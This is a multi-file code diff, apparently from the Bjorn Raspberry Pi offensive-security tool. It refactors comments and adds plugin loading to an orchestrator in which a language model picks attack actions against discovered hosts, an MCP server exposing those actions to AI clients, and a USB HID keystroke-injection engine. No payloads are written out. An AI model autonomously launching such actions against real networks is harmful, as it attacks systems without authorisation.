@@ -197,7 +183,7 @@ class LLMOrchestrator:
return None return None
if action not in allowed: if action not in allowed:
logger.warning(f"LLM advisor suggested disallowed action '{action}' ignored") logger.warning(f"LLM advisor suggested disallowed action '{action}' - ignored")
return None return None
target_ip = str(data.get("target_ip", "")).strip() target_ip = str(data.get("target_ip", "")).strip()
@@ -226,7 +212,7 @@ class LLMOrchestrator:
return action return action
except json.JSONDecodeError: except json.JSONDecodeError:
logger.debug(f"LLM advisor: invalid JSON: {raw[:200]}") logger.warning(f"LLM advisor: invalid JSON response: {raw[:200]}")
return None return None
except Exception as e: except Exception as e:
logger.debug(f"LLM advisor apply error: {e}") logger.debug(f"LLM advisor apply error: {e}")
@@ -243,7 +229,7 @@ class LLMOrchestrator:
if self._is_llm_enabled() and self._mode() == "autonomous": if self._is_llm_enabled() and self._mode() == "autonomous":
self._run_autonomous_cycle() self._run_autonomous_cycle()
else: else:
# Mode was switched off at runtime stop thread # Mode was switched off at runtime - stop thread
break break
except Exception as e: except Exception as e:
logger.error(f"LLM autonomous cycle error: {e}") logger.error(f"LLM autonomous cycle error: {e}")
@@ -255,7 +241,7 @@ class LLMOrchestrator:
def _compute_fingerprint(self) -> tuple: def _compute_fingerprint(self) -> tuple:
""" """
Compact state fingerprint: (hosts, vulns, creds, last_completed_queue_id). Compact state fingerprint: (hosts, vulns, creds, last_completed_queue_id).
Only increases are meaningful a host going offline is not an opportunity. Only increases are meaningful - a host going offline is not an opportunity.
""" """
try: try:
hosts = int(getattr(self._sd, "target_count", 0)) hosts = int(getattr(self._sd, "target_count", 0))
@@ -385,7 +371,7 @@ class LLMOrchestrator:
real_ips = snapshot.get("VALID_TARGET_IPS", []) real_ips = snapshot.get("VALID_TARGET_IPS", [])
ip_list_str = ", ".join(real_ips) if real_ips else "(no hosts discovered yet)" ip_list_str = ", ".join(real_ips) if real_ips else "(no hosts discovered yet)"
# Short system prompt small models forget long instructions # Short system prompt - small models forget long instructions
system = ( system = (
"You are a network security orchestrator. " "You are a network security orchestrator. "
"You receive network scan data and output a JSON array of actions. " "You receive network scan data and output a JSON array of actions. "
@@ -496,11 +482,11 @@ class LLMOrchestrator:
logger.debug(f"LLM autonomous: skipping invalid/disallowed action '{action}'") logger.debug(f"LLM autonomous: skipping invalid/disallowed action '{action}'")
continue continue
if not target_ip: if not target_ip:
logger.debug(f"LLM autonomous: skipping '{action}' no target_ip") logger.debug(f"LLM autonomous: skipping '{action}' - no target_ip")
continue continue
if not self._is_valid_ip(target_ip): if not self._is_valid_ip(target_ip):
logger.warning( logger.warning(
f"LLM autonomous: skipping '{action}' invalid/placeholder IP '{target_ip}' " f"LLM autonomous: skipping '{action}' - invalid/placeholder IP '{target_ip}' "
f"(LLM must use exact IPs from alive_hosts)" f"(LLM must use exact IPs from alive_hosts)"
) )
continue continue
@@ -508,7 +494,7 @@ class LLMOrchestrator:
mac = self._resolve_mac(target_ip) mac = self._resolve_mac(target_ip)
if not mac: if not mac:
logger.warning( logger.warning(
f"LLM autonomous: skipping '{action}' @ {target_ip} " f"LLM autonomous: skipping '{action}' @ {target_ip} - "
f"IP not found in hosts table (LLM used an IP not in alive_hosts)" f"IP not found in hosts table (LLM used an IP not in alive_hosts)"
) )
continue continue
@@ -535,7 +521,7 @@ class LLMOrchestrator:
pass pass
except json.JSONDecodeError as e: except json.JSONDecodeError as e:
logger.debug(f"LLM autonomous: JSON parse error: {e} raw: {raw[:200]}") logger.debug(f"LLM autonomous: JSON parse error: {e} - raw: {raw[:200]}")
except Exception as e: except Exception as e:
logger.debug(f"LLM autonomous: action queue error: {e}") logger.debug(f"LLM autonomous: action queue error: {e}")

View File

@@ -1,4 +1,5 @@
# logger.py """logger.py - Rotating file + console logger with custom SUCCESS level."""
import logging import logging
import os import os
import threading import threading

View File

@@ -1,21 +1,6 @@
""" """__init__.py - Loki HID attack engine for Bjorn.
Loki — HID Attack Engine for Bjorn.
Manages USB HID gadget lifecycle, script execution, and job tracking. Manages USB HID gadget lifecycle, HIDScript execution, and job tracking.
Named after the Norse trickster god.
Loki is the 5th exclusive operation mode (alongside MANUAL, AUTO, AI, BIFROST).
When active, the orchestrator stops and the Pi acts as a keyboard/mouse
to the connected host via /dev/hidg0 (keyboard) and /dev/hidg1 (mouse).
HID GADGET STRATEGY:
The HID functions (keyboard + mouse) are created ONCE at boot time alongside
RNDIS networking by the usb-gadget.sh script. This avoids the impossible task
of hot-adding HID functions to a running composite gadget (UDC rebind fails
with EIO when RNDIS is active).
LokiEngine simply opens/closes the /dev/hidg0 and /dev/hidg1 device files.
If /dev/hidg0 doesn't exist, the user needs to run the setup once and reboot.
""" """
import os import os
import time import time
@@ -27,7 +12,7 @@ from logger import Logger
logger = Logger(name="loki", level=logging.DEBUG) logger = Logger(name="loki", level=logging.DEBUG)
# USB HID report descriptors EXACT byte-for-byte copies from P4wnP1_aloa # USB HID report descriptors - EXACT byte-for-byte copies from P4wnP1_aloa
# Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70 # Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70
# #
# These are written to the gadget at boot time by usb-gadget.sh. # These are written to the gadget at boot time by usb-gadget.sh.
@@ -64,7 +49,7 @@ _MOUSE_REPORT_DESC = bytes([
# The boot script that creates RNDIS + HID functions at startup. # The boot script that creates RNDIS + HID functions at startup.
# This replaces /usr/local/bin/usb-gadget.sh # This replaces /usr/local/bin/usb-gadget.sh
_USB_GADGET_SCRIPT = '''#!/bin/bash _USB_GADGET_SCRIPT = '''#!/bin/bash
# usb-gadget.sh USB composite gadget: RNDIS networking + HID (keyboard/mouse) # usb-gadget.sh - USB composite gadget: RNDIS networking + HID (keyboard/mouse)
# Auto-generated by Bjorn Loki. Do not edit manually. # Auto-generated by Bjorn Loki. Do not edit manually.
modprobe libcomposite modprobe libcomposite
@@ -196,7 +181,7 @@ _GADGET_SCRIPT_PATH = "/usr/local/bin/usb-gadget.sh"
class LokiEngine: class LokiEngine:
"""HID attack engine manages script execution and job tracking. """HID attack engine - manages script execution and job tracking.
The USB HID gadget (keyboard + mouse) is set up at boot time by The USB HID gadget (keyboard + mouse) is set up at boot time by
usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1. usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1.
@@ -242,7 +227,7 @@ class LokiEngine:
# Check if HID gadget is available (set up at boot) # Check if HID gadget is available (set up at boot)
if not os.path.exists("/dev/hidg0"): if not os.path.exists("/dev/hidg0"):
logger.error( logger.error(
"/dev/hidg0 not found HID gadget not configured at boot. " "/dev/hidg0 not found - HID gadget not configured at boot. "
"Run install_hid_gadget() from the Loki API and reboot." "Run install_hid_gadget() from the Loki API and reboot."
) )
self._gadget_ready = False self._gadget_ready = False
@@ -287,7 +272,7 @@ class LokiEngine:
if job["status"] == "running": if job["status"] == "running":
self._jobs.cancel_job(job["id"]) self._jobs.cancel_job(job["id"])
# Close HID devices (don't remove gadget it persists) # Close HID devices (don't remove gadget - it persists)
if self._hid: if self._hid:
self._hid.close() self._hid.close()

View File

@@ -1,5 +1,5 @@
""" """hid_controller.py - Low-level USB HID controller for Loki.
Low-level USB HID controller for Loki.
Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1. Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1.
""" """
import os import os
@@ -16,7 +16,7 @@ from loki.layouts import load as load_layout
logger = Logger(name="loki.hid_controller", level=logging.DEBUG) logger = Logger(name="loki.hid_controller", level=logging.DEBUG)
# ── HID Keycodes ────────────────────────────────────────────── # ── HID Keycodes ──────────────────────────────────────────────
# USB HID Usage Tables Keyboard/Keypad Page (0x07) # USB HID Usage Tables - Keyboard/Keypad Page (0x07)
KEY_NONE = 0x00 KEY_NONE = 0x00
KEY_A = 0x04 KEY_A = 0x04

View File

@@ -1,17 +1,6 @@
""" """hidscript.py - P4wnP1-compatible HIDScript parser and executor.
HIDScript parser and executor for Loki.
Supports P4wnP1-compatible HIDScript syntax: Pure Python DSL parser supporting type/press/delay, loops, conditionals, and variables.
- Function calls: type("hello"); press("GUI r"); delay(500);
- var declarations: var x = 1;
- for / while loops
- if / else conditionals
- // and /* */ comments
- String concatenation with +
- Basic arithmetic (+, -, *, /)
- console.log() for job output
Zero external dependencies — pure Python DSL parser.
""" """
import re import re
import time import time
@@ -240,7 +229,7 @@ class HIDScriptParser:
else_body = source[after_else+1:eb_end] else_body = source[after_else+1:eb_end]
next_pos = eb_end + 1 next_pos = eb_end + 1
elif source[after_else:after_else+2] == 'if': elif source[after_else:after_else+2] == 'if':
# else if parse recursively # else if - parse recursively
inner_if, next_pos = self._parse_if(source, after_else) inner_if, next_pos = self._parse_if(source, after_else)
else_body = inner_if # will be a dict, handle in exec else_body = inner_if # will be a dict, handle in exec
else: else:

View File

@@ -1,5 +1,5 @@
""" """jobs.py - Loki job manager, tracks HIDScript execution jobs.
Loki job manager — tracks HIDScript execution jobs.
Each job runs in its own daemon thread. Each job runs in its own daemon thread.
""" """
import uuid import uuid

View File

@@ -1,5 +1,5 @@
""" """__init__.py - Keyboard layout loader for Loki HID subsystem.
Keyboard layout loader for Loki HID subsystem.
Caches loaded layouts in memory. Caches loaded layouts in memory.
""" """
import json import json

View File

@@ -1,11 +1,13 @@
"""generate_layouts.py - Generates localized keyboard layout JSON files from a US base layout."""
import json import json
import os import os
# Chargement de la base US existante # Load the US base layout
with open("us.json", "r") as f: with open("us.json", "r") as f:
US_BASE = json.load(f) US_BASE = json.load(f)
# Définition des différences par rapport au clavier US # Key differences from the US layout
# 0 = Normal, 2 = Shift, 64 = AltGr (Right Alt) # 0 = Normal, 2 = Shift, 64 = AltGr (Right Alt)
LAYOUT_DIFFS = { LAYOUT_DIFFS = {
"fr": { "fr": {
@@ -59,20 +61,18 @@ LAYOUT_DIFFS = {
"б": [0, 54], "ю": [0, 55], "ё": [0, 53], ".": [0, 56], ",": [2, 56], "б": [0, 54], "ю": [0, 55], "ё": [0, 53], ".": [0, 56], ",": [2, 56],
"": [2, 32], ";": [2, 33], ":": [2, 35], "?": [2, 36] "": [2, 32], ";": [2, 33], ":": [2, 35], "?": [2, 36]
}, },
"zh": {} # ZH utilise exactement le layout US "zh": {} # ZH uses the exact US layout
} }
def generate_layouts(): def generate_layouts():
for lang, diff in LAYOUT_DIFFS.items(): for lang, diff in LAYOUT_DIFFS.items():
# Copie de la base US
new_layout = dict(US_BASE) new_layout = dict(US_BASE)
# Application des modifications
new_layout.update(diff) new_layout.update(diff)
filename = f"{lang}.json" filename = f"{lang}.json"
with open(filename, "w", encoding="utf-8") as f: with open(filename, "w", encoding="utf-8") as f:
json.dump(new_layout, f, indent=4, ensure_ascii=False) json.dump(new_layout, f, indent=4, ensure_ascii=False)
print(f"Généré : {filename} ({len(new_layout)} touches)") print(f"Generated: {filename} ({len(new_layout)} keys)")
if __name__ == "__main__": if __name__ == "__main__":
generate_layouts() generate_layouts()

View File

@@ -1,11 +1,4 @@
# mcp_server.py """mcp_server.py - MCP server exposing Bjorn's DB and actions to external AI clients."""
# Model Context Protocol server for Bjorn.
# Exposes Bjorn's database and actions as MCP tools consumable by any MCP client
# (Claude Desktop, custom agents, etc.).
#
# Transport: HTTP SSE (default, port configurable) or stdio.
# Requires: pip install mcp
# Gracefully no-ops if mcp is not installed.
import json import json
import threading import threading
@@ -162,9 +155,12 @@ def _impl_run_action(action_name: str, target_ip: str, target_mac: str = "") ->
def _impl_query_db(sql: str, params: Optional[List] = None) -> str: def _impl_query_db(sql: str, params: Optional[List] = None) -> str:
"""Run a read-only SELECT query. Non-SELECT statements are rejected.""" """Run a read-only SELECT query. Non-SELECT statements are rejected."""
try: try:
stripped = sql.strip().upper() stripped = sql.strip()
if not stripped.startswith("SELECT"): # Reject non-SELECT and stacked queries (multiple statements)
if not stripped.upper().startswith("SELECT"):
return json.dumps({"error": "Only SELECT queries are allowed."}) return json.dumps({"error": "Only SELECT queries are allowed."})
if ';' in stripped.rstrip(';'):
return json.dumps({"error": "Multiple statements are not allowed."})
rows = _sd().db.query(sql, tuple(params or [])) rows = _sd().db.query(sql, tuple(params or []))
return json.dumps([dict(r) for r in rows] if rows else [], default=str) return json.dumps([dict(r) for r in rows] if rows else [], default=str)
except Exception as e: except Exception as e:
@@ -180,7 +176,7 @@ def _build_mcp_server():
try: try:
from mcp.server.fastmcp import FastMCP from mcp.server.fastmcp import FastMCP
except ImportError: except ImportError:
logger.warning("mcp package not installed MCP server disabled. " logger.warning("mcp package not installed - MCP server disabled. "
"Run: pip install mcp") "Run: pip install mcp")
return None return None
@@ -295,7 +291,7 @@ def start(block: bool = False) -> bool:
mcp.run(transport="stdio") mcp.run(transport="stdio")
else: else:
logger.info(f"MCP server starting (HTTP SSE transport, port {port})") logger.info(f"MCP server starting (HTTP SSE transport, port {port})")
# FastMCP HTTP SSE runs uvicorn internally # FastMCP HTTP SSE - runs uvicorn internally
mcp.run(transport="sse", port=port) mcp.run(transport="sse", port=port)
except Exception as e: except Exception as e:
logger.error(f"MCP server error: {e}") logger.error(f"MCP server error: {e}")
@@ -311,10 +307,10 @@ def start(block: bool = False) -> bool:
def stop() -> None: def stop() -> None:
"""Signal MCP server to stop (best-effort FastMCP handles cleanup).""" """Signal MCP server to stop (best-effort - FastMCP handles cleanup)."""
global _server_thread global _server_thread
if _server_thread and _server_thread.is_alive(): if _server_thread and _server_thread.is_alive():
logger.info("MCP server thread stopping (daemon will exit with process)") logger.info("MCP server thread stopping (daemon - will exit with process)")
_server_thread = None _server_thread = None

View File

@@ -1,5 +1,4 @@
# orchestrator.py """orchestrator.py - Action queue consumer: pulls scheduled actions and executes them."""
# Action queue consumer for Bjorn - executes actions from the scheduler queue
import importlib import importlib
import time import time
@@ -156,7 +155,26 @@ class Orchestrator:
module_name = action["b_module"] module_name = action["b_module"]
b_class = action["b_class"] b_class = action["b_class"]
# 🔴 Skip disabled actions # Skip custom user scripts (manual-only, not part of the orchestrator loop)
if action.get("b_action") == "custom" or module_name.startswith("custom/"):
continue
# Plugin actions — loaded via plugin_manager, not importlib
if action.get("b_action") == "plugin" or module_name.startswith("plugins/"):
try:
mgr = getattr(self.shared_data, 'plugin_manager', None)
if mgr and b_class in mgr._instances:
instance = mgr._instances[b_class]
instance.action_name = b_class
instance.port = action.get("b_port")
instance.b_parent_action = action.get("b_parent")
self.actions[b_class] = instance
logger.info(f"Loaded plugin action: {b_class}")
except Exception as e:
logger.error(f"Failed to load plugin action {b_class}: {e}")
continue
# Skip disabled actions
if not int(action.get("b_enabled", 1)): if not int(action.get("b_enabled", 1)):
logger.info(f"Skipping disabled action: {b_class}") logger.info(f"Skipping disabled action: {b_class}")
continue continue
@@ -523,7 +541,7 @@ class Orchestrator:
ip = queued_action['ip'] ip = queued_action['ip']
port = queued_action['port'] port = queued_action['port']
# Parse metadata once used throughout this function # Parse metadata once - used throughout this function
metadata = json.loads(queued_action.get('metadata', '{}')) metadata = json.loads(queued_action.get('metadata', '{}'))
source = str(metadata.get('decision_method', 'unknown')) source = str(metadata.get('decision_method', 'unknown'))
source_label = f"[{source.upper()}]" if source != 'unknown' else "" source_label = f"[{source.upper()}]" if source != 'unknown' else ""
@@ -691,6 +709,13 @@ class Orchestrator:
except Exception as cb_err: except Exception as cb_err:
logger.debug(f"Circuit breaker update skipped: {cb_err}") logger.debug(f"Circuit breaker update skipped: {cb_err}")
# Notify script scheduler for conditional triggers
if self.shared_data.script_scheduler:
try:
self.shared_data.script_scheduler.notify_action_complete(action_name, mac, success)
except Exception:
pass
except Exception as e: except Exception as e:
logger.error(f"Error executing action {action_name}: {e}") logger.error(f"Error executing action {action_name}: {e}")
self.shared_data.db.update_queue_status(queue_id, 'failed', str(e)) self.shared_data.db.update_queue_status(queue_id, 'failed', str(e))
@@ -744,7 +769,7 @@ class Orchestrator:
'port': port, 'port': port,
'action': action_name, 'action': action_name,
'queue_id': queue_id, 'queue_id': queue_id,
# metadata already parsed no second json.loads # metadata already parsed - no second json.loads
'metadata': metadata, 'metadata': metadata,
# Tag decision source so the training pipeline can weight # Tag decision source so the training pipeline can weight
# human choices (MANUAL would be logged if orchestrator # human choices (MANUAL would be logged if orchestrator
@@ -782,6 +807,19 @@ class Orchestrator:
elif self.feature_logger and state_before: elif self.feature_logger and state_before:
logger.debug(f"Feature logging disabled for {action_name} (excluded from AI learning)") logger.debug(f"Feature logging disabled for {action_name} (excluded from AI learning)")
# Dispatch plugin hooks
try:
mgr = getattr(self.shared_data, 'plugin_manager', None)
if mgr:
mgr.dispatch(
"on_action_complete",
action_name=action_name,
success=success,
target={"mac": mac, "ip": ip, "port": port},
)
except Exception:
pass
return success return success
def run(self): def run(self):
@@ -839,8 +877,10 @@ class Orchestrator:
logger.debug(f"Queue empty, idling... ({idle_time}s)") logger.debug(f"Queue empty, idling... ({idle_time}s)")
# Event-driven wait (max 5s to check for exit signals) # Event-driven wait (max 5s to check for exit signals)
self.shared_data.queue_event.wait(timeout=5) # Clear before wait to avoid lost-wake race condition:
# if set() fires between wait() returning and clear(), the signal is lost.
self.shared_data.queue_event.clear() self.shared_data.queue_event.clear()
self.shared_data.queue_event.wait(timeout=5)
# Periodically process background tasks (even if busy) # Periodically process background tasks (even if busy)
current_time = time.time() current_time = time.time()
@@ -880,7 +920,7 @@ class Orchestrator:
def _process_background_tasks(self): def _process_background_tasks(self):
"""Run periodic tasks like consolidation, upload retries, and model updates (AI mode only).""" """Run periodic tasks like consolidation, upload retries, and model updates (AI mode only)."""
# LLM advisor mode runs regardless of AI mode # LLM advisor mode - runs regardless of AI mode
if self.llm_orchestrator and self.shared_data.config.get("llm_orchestrator_mode") == "advisor": if self.llm_orchestrator and self.shared_data.config.get("llm_orchestrator_mode") == "advisor":
try: try:
self.llm_orchestrator.advise() self.llm_orchestrator.advise()

682
plugin_manager.py Normal file
View File

@@ -0,0 +1,682 @@
"""plugin_manager.py - Plugin discovery, lifecycle, hook dispatch, and config management."""
import gc
import importlib
import importlib.util
import json
import logging
import os
import shutil
import sys
import tempfile
import threading
import weakref
import zipfile
from typing import Any, Dict, List, Optional, Set
from bjorn_plugin import BjornPlugin
from logger import Logger
logger = Logger(name="plugin_manager", level=logging.DEBUG)
# Supported hooks (must match BjornPlugin method names)
KNOWN_HOOKS = frozenset({
"on_host_discovered",
"on_credential_found",
"on_vulnerability_found",
"on_action_complete",
"on_scan_complete",
})
# Required fields in plugin.json
_REQUIRED_MANIFEST_FIELDS = {"id", "name", "version", "type", "main", "class"}
# Valid plugin types
_VALID_TYPES = {"action", "notifier", "enricher", "exporter", "ui_widget"}
# Max loaded plugins (RAM safety on Pi Zero 2)
_MAX_PLUGINS = 30
# Max error entries to retain (prevents unbounded growth)
_MAX_ERRORS = 50
class PluginManager:
"""Manages plugin discovery, lifecycle, hook dispatch, and configuration."""
def __init__(self, shared_data):
self.shared_data = shared_data
self.plugins_dir = getattr(shared_data, 'plugins_dir', None)
if not self.plugins_dir:
self.plugins_dir = os.path.join(shared_data.current_dir, 'plugins')
os.makedirs(self.plugins_dir, exist_ok=True)
self._instances: Dict[str, BjornPlugin] = {} # plugin_id -> instance
self._meta: Dict[str, dict] = {} # plugin_id -> parsed plugin.json
self._hook_map: Dict[str, Set[str]] = {h: set() for h in KNOWN_HOOKS} # sets, not lists
self._lock = threading.Lock()
self._errors: Dict[str, str] = {} # plugin_id -> error message (bounded)
# Track original DB methods for clean unhook
self._original_db_methods: Dict[str, Any] = {}
# ── Discovery ────────────────────────────────────────────────────
def discover_plugins(self) -> List[dict]:
"""Scan plugins_dir, parse each plugin.json, return list of valid metadata dicts."""
results = []
if not os.path.isdir(self.plugins_dir):
return results
for entry in os.listdir(self.plugins_dir):
plugin_dir = os.path.join(self.plugins_dir, entry)
if not os.path.isdir(plugin_dir):
continue
manifest_path = os.path.join(plugin_dir, "plugin.json")
if not os.path.isfile(manifest_path):
logger.debug(f"Skipping {entry}: no plugin.json")
continue
try:
with open(manifest_path, "r", encoding="utf-8") as f:
meta = json.load(f)
except Exception as e:
logger.warning(f"Invalid plugin.json in {entry}: {e}")
continue
# Validate required fields
missing = _REQUIRED_MANIFEST_FIELDS - set(meta.keys())
if missing:
logger.warning(f"Plugin {entry} missing fields: {missing}")
continue
if meta["type"] not in _VALID_TYPES:
logger.warning(f"Plugin {entry} has invalid type: {meta['type']}")
continue
# Ensure main file exists
main_path = os.path.join(plugin_dir, meta["main"])
if not os.path.isfile(main_path):
logger.warning(f"Plugin {entry}: main file {meta['main']} not found")
continue
meta["_dir"] = plugin_dir
meta["_main_path"] = main_path
results.append(meta)
logger.info(f"Discovered {len(results)} plugin(s)")
return results
# ── Loading ──────────────────────────────────────────────────────
def load_plugin(self, plugin_id: str) -> bool:
"""Load a single plugin: import module, instantiate class, call setup()."""
# Quick check under lock (no I/O here)
with self._lock:
if plugin_id in self._instances:
logger.debug(f"Plugin {plugin_id} already loaded")
return True
if len(self._instances) >= _MAX_PLUGINS:
logger.warning(f"Max plugins reached ({_MAX_PLUGINS}), cannot load {plugin_id}")
return False
# Read manifest OUTSIDE the lock (I/O)
plugin_dir = os.path.join(self.plugins_dir, plugin_id)
manifest_path = os.path.join(plugin_dir, "plugin.json")
if not os.path.isfile(manifest_path):
self._set_error(plugin_id, "plugin.json not found")
return False
try:
with open(manifest_path, "r", encoding="utf-8") as f:
meta = json.load(f)
except Exception as e:
self._set_error(plugin_id, f"Invalid plugin.json: {e}")
return False
meta["_dir"] = plugin_dir
meta["_main_path"] = os.path.join(plugin_dir, meta.get("main", ""))
# Load config from DB (merged with schema defaults)
config = self._get_merged_config(plugin_id, meta)
# Import module from file (OUTSIDE the lock — slow I/O)
mod_name = f"bjorn_plugin_{plugin_id}"
try:
main_path = meta["_main_path"]
spec = importlib.util.spec_from_file_location(mod_name, main_path)
if spec is None or spec.loader is None:
self._set_error(plugin_id, f"Cannot create module spec for {main_path}")
return False
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
cls_name = meta.get("class", "")
cls = getattr(mod, cls_name, None)
if cls is None:
self._set_error(plugin_id, f"Class {cls_name} not found in {meta['main']}")
return False
# Instantiate
instance = cls(self.shared_data, meta, config)
# Call setup
instance.setup()
except Exception as e:
self._set_error(plugin_id, f"Load failed: {e}")
logger.error(f"Failed to load plugin {plugin_id}: {e}")
# Clean up module from sys.modules on failure
sys.modules.pop(mod_name, None)
return False
# Register UNDER the lock (fast, no I/O)
with self._lock:
self._instances[plugin_id] = instance
self._meta[plugin_id] = meta
self._errors.pop(plugin_id, None)
# Register hooks (set — no duplicates possible)
declared_hooks = meta.get("hooks", [])
for hook_name in declared_hooks:
if hook_name in KNOWN_HOOKS:
self._hook_map[hook_name].add(plugin_id)
# Persist hooks to DB (outside lock)
try:
valid_hooks = [h for h in declared_hooks if h in KNOWN_HOOKS]
self.shared_data.db.set_plugin_hooks(plugin_id, valid_hooks)
except Exception as e:
logger.debug(f"Could not persist hooks for {plugin_id}: {e}")
logger.info(f"Plugin loaded: {plugin_id} (type={meta.get('type')})")
return True
def unload_plugin(self, plugin_id: str) -> None:
"""Call teardown() and remove from instances/hooks. Cleans up module from sys.modules."""
with self._lock:
instance = self._instances.pop(plugin_id, None)
self._meta.pop(plugin_id, None)
# Remove from all hook sets
for hook_set in self._hook_map.values():
hook_set.discard(plugin_id)
if instance:
try:
instance.teardown()
except Exception as e:
logger.warning(f"Teardown error for {plugin_id}: {e}")
# Break references to help GC
instance.shared_data = None
instance.db = None
instance.config = None
instance.meta = None
# Remove module from sys.modules to free bytecode memory
mod_name = f"bjorn_plugin_{plugin_id}"
sys.modules.pop(mod_name, None)
logger.info(f"Plugin unloaded: {plugin_id}")
def load_all(self) -> None:
"""Load all enabled plugins. Called at startup."""
discovered = self.discover_plugins()
for meta in discovered:
plugin_id = meta["id"]
# Ensure DB record exists with defaults
db_record = self.shared_data.db.get_plugin_config(plugin_id)
if db_record is None:
# First time: insert with schema defaults
default_config = self._extract_defaults(meta)
self.shared_data.db.upsert_plugin(plugin_id, 1, default_config, meta)
db_record = self.shared_data.db.get_plugin_config(plugin_id)
# Only load if enabled
if db_record and db_record.get("enabled", 1):
self.load_plugin(plugin_id)
else:
logger.debug(f"Plugin {plugin_id} is disabled, skipping load")
def stop_all(self) -> None:
"""Teardown all loaded plugins. Called at shutdown."""
with self._lock:
plugin_ids = list(self._instances.keys())
for pid in plugin_ids:
self.unload_plugin(pid)
# Restore original DB methods (remove monkey-patches)
self._uninstall_db_hooks()
# Clear all references
self._errors.clear()
self._meta.clear()
gc.collect()
logger.info("All plugins stopped")
# ── Hook Dispatch ────────────────────────────────────────────────
def dispatch(self, hook_name: str, **kwargs) -> None:
"""
Fire a hook to all subscribed plugins.
Synchronous, catches exceptions per-plugin to isolate failures.
"""
if hook_name not in KNOWN_HOOKS:
return
# Copy subscriber set under lock (fast), then call outside lock
with self._lock:
subscribers = list(self._hook_map.get(hook_name, set()))
for plugin_id in subscribers:
instance = self._instances.get(plugin_id)
if instance is None:
continue
try:
method = getattr(instance, hook_name, None)
if method:
method(**kwargs)
except Exception as e:
logger.error(f"Hook {hook_name} failed in plugin {plugin_id}: {e}")
# ── DB Hook Wrappers ─────────────────────────────────────────────
def install_db_hooks(self) -> None:
"""
Monkey-patch DB facade methods to dispatch hooks on data mutations.
Uses weakref to avoid reference cycles between PluginManager and DB.
"""
db = self.shared_data.db
manager_ref = weakref.ref(self)
# Wrap insert_cred
if hasattr(db, 'insert_cred'):
original = db.insert_cred
self._original_db_methods['insert_cred'] = original
def hooked_insert_cred(*args, **kwargs):
result = original(*args, **kwargs)
try:
mgr = manager_ref()
if mgr:
mgr.dispatch("on_credential_found", cred={
"service": kwargs.get("service", args[0] if args else ""),
"mac": kwargs.get("mac", args[1] if len(args) > 1 else ""),
"ip": kwargs.get("ip", args[2] if len(args) > 2 else ""),
"user": kwargs.get("user", args[4] if len(args) > 4 else ""),
"port": kwargs.get("port", args[6] if len(args) > 6 else ""),
})
except Exception as e:
logger.debug(f"Hook dispatch error (on_credential_found): {e}")
return result
db.insert_cred = hooked_insert_cred
# Wrap insert_vulnerability if it exists
if hasattr(db, 'insert_vulnerability'):
original = db.insert_vulnerability
self._original_db_methods['insert_vulnerability'] = original
def hooked_insert_vuln(*args, **kwargs):
result = original(*args, **kwargs)
try:
mgr = manager_ref()
if mgr:
mgr.dispatch("on_vulnerability_found", vuln=kwargs or {})
except Exception as e:
logger.debug(f"Hook dispatch error (on_vulnerability_found): {e}")
return result
db.insert_vulnerability = hooked_insert_vuln
logger.debug("DB hook wrappers installed (weakref)")
def _uninstall_db_hooks(self) -> None:
"""Restore original DB methods, removing monkey-patches."""
db = getattr(self.shared_data, 'db', None)
if not db:
return
for method_name, original in self._original_db_methods.items():
try:
setattr(db, method_name, original)
except Exception:
pass
self._original_db_methods.clear()
logger.debug("DB hook wrappers removed")
# ── Action Registration ──────────────────────────────────────────
def get_action_registrations(self) -> List[dict]:
"""
Return action-metadata dicts for plugins of type='action'.
These get merged into sync_actions_to_database() alongside regular actions.
"""
registrations = []
for meta in self._meta.values():
if meta.get("type") != "action":
continue
action_meta = meta.get("action", {})
plugin_id = meta["id"]
reg = {
"b_class": meta.get("class", plugin_id),
"b_module": f"plugins/{plugin_id}",
"b_action": "plugin",
"b_name": meta.get("name", plugin_id),
"b_description": meta.get("description", ""),
"b_author": meta.get("author", ""),
"b_version": meta.get("version", "0.0.0"),
"b_icon": meta.get("icon", ""),
"b_enabled": 1,
"b_port": action_meta.get("port"),
"b_service": json.dumps(action_meta.get("service", [])),
"b_trigger": action_meta.get("trigger"),
"b_priority": action_meta.get("priority", 50),
"b_cooldown": action_meta.get("cooldown", 0),
"b_timeout": action_meta.get("timeout", 300),
"b_max_retries": action_meta.get("max_retries", 1),
"b_stealth_level": action_meta.get("stealth_level", 5),
"b_risk_level": action_meta.get("risk_level", "medium"),
"b_tags": json.dumps(meta.get("tags", [])),
"b_args": json.dumps(meta.get("config_schema", {})),
}
registrations.append(reg)
return registrations
# ── Config Management ────────────────────────────────────────────
def get_config(self, plugin_id: str) -> dict:
"""Return merged config: schema defaults + DB overrides."""
return self._get_merged_config(plugin_id, self._meta.get(plugin_id))
def save_config(self, plugin_id: str, values: dict) -> None:
"""Validate against schema, persist to DB, hot-reload into instance."""
meta = self._meta.get(plugin_id)
if not meta:
raise ValueError(f"Plugin {plugin_id} not found")
schema = meta.get("config_schema", {})
validated = {}
for key, spec in schema.items():
if key in values:
validated[key] = self._coerce_value(values[key], spec)
else:
validated[key] = spec.get("default")
self.shared_data.db.save_plugin_config(plugin_id, validated)
# Hot-reload config into running instance
instance = self._instances.get(plugin_id)
if instance:
instance.config = validated
logger.info(f"Config saved for plugin {plugin_id}")
# ── Install / Uninstall ──────────────────────────────────────────
def install_from_zip(self, zip_bytes: bytes) -> dict:
"""
Extract zip to plugins/<id>/, validate plugin.json, register in DB.
Returns {"status": "ok", "plugin_id": ...} or {"status": "error", ...}.
"""
tmp_dir = None
try:
# Extract to temp dir
tmp_dir = tempfile.mkdtemp(prefix="bjorn_plugin_")
zip_path = os.path.join(tmp_dir, "plugin.zip")
with open(zip_path, "wb") as f:
f.write(zip_bytes)
with zipfile.ZipFile(zip_path, "r") as zf:
# Security: check for path traversal in zip
for name in zf.namelist():
if name.startswith("/") or ".." in name:
return {"status": "error", "message": f"Unsafe path in zip: {name}"}
zf.extractall(tmp_dir)
# Find plugin.json (may be in root or in a subdirectory)
manifest_path = None
for walk_root, dirs, files in os.walk(tmp_dir):
if "plugin.json" in files:
manifest_path = os.path.join(walk_root, "plugin.json")
break
if not manifest_path:
return {"status": "error", "message": "No plugin.json found in archive"}
with open(manifest_path, "r", encoding="utf-8") as f:
